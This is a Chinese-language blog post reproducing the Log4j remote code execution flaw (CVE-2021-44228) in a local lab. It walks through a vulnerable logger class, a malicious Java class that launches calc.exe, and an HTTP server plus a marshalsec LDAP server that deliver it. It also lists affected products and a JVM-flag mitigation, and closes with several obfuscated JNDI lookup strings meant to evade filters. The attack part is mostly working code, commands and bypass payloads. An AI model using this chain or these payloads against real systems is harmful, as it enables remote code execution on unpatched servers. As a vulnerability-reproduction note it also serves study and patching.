log4j-rce复现

声明:没研究过Java漏洞,有错误的地方一定要告诉我!!原理我也没有继续跟。

01 分析

师傅带着理了一遍,思路清晰了。

一句话总结就是:让引用了log4j的漏洞类,然后把${jndi:ldap://hackserver/xxxxxx}当作参数传到log4j的log.error ,就会通过动态的远程加载我们精心构造的一个恶意类,恶意类编写想要执行的命令就可以达到命令执行的目的了。

黑盒测试无法识别到目标站点是否用了该框架,一般做法可能是在入参地方挨个提交payload,实战靠运气。

 

漏洞类

 import org.apache.logging.log4j.LogManager;
 import org.apache.logging.log4j.core.Logger;
 ​
 public class Main {
     private static final Logger logger = (Logger) LogManager.getLogger(Main.class);
 ​
     public static void main(String[] args) {
 ​
         logger.error("${jndi:ldap://127.0.0.1:1389/xxxx}");
    }
 }

 

一个恶意类

 public class Exploit {
     public Exploit() {
         try{
             // 弹计算器
             String[] commands = {"calc.exe"};
             Process pc = Runtime.getRuntime().exec(commands);
             pc.waitFor();
        } catch(Exception e){
             e.printStackTrace();
        }
    }
     public static void main(String[] argv) {
         Exploit e = new Exploit();
    }
 }
 ​

 

在恶意类编译后产生的class文件下启动http服务

 python3 -m http.server 8100

 log4j-rce复现

 

使用marshalsec起一个LDAP服务,使得服务端可以远程加载我们的恶意类

 java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8100/#Exploit"

log4j-rce复现

 

 

效果图

log4j-rce复现

 

 

再贴个图

log4j-rce复现

 

 

02 影响应用

可能的受影响应用包括但不限于如下:

Spring-Boot-strater-log4j2

Apache Struts2

Apache Solr

Apache Flink

Apache Druid

ElasticSearch

flume

dubbo

Redis

logstash

kafka

 ...

03 修复方案:

(1)修改jvm参数 -Dlog4j2.formatMsgNoLookups=true

(2)修改配置 在应用classpath下添加log4j2.component.properties配置文件,log4j2.formatMsgNoLookups=true

 

04 绕过

 ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1099/ass}
 ${${::-j}ndi:rmi://127.0.0.1:1099/ass}
 ${jndi:rmi://adsasd.asdasd.asdasd}
 ${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
 ${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
 ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
 ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

 推个项目:https://github.com/GitlXl/fgzz  burp插件实现了主动扫描

上一篇:Reporting Services无法连接ORACLE,提示:System.Data.OracleClient 需要 Oracle 客户端软件 8.1.7 或更高版本


下一篇:Apache Log4j 远程代码执行漏洞(CVE-2021-44228)漏洞复现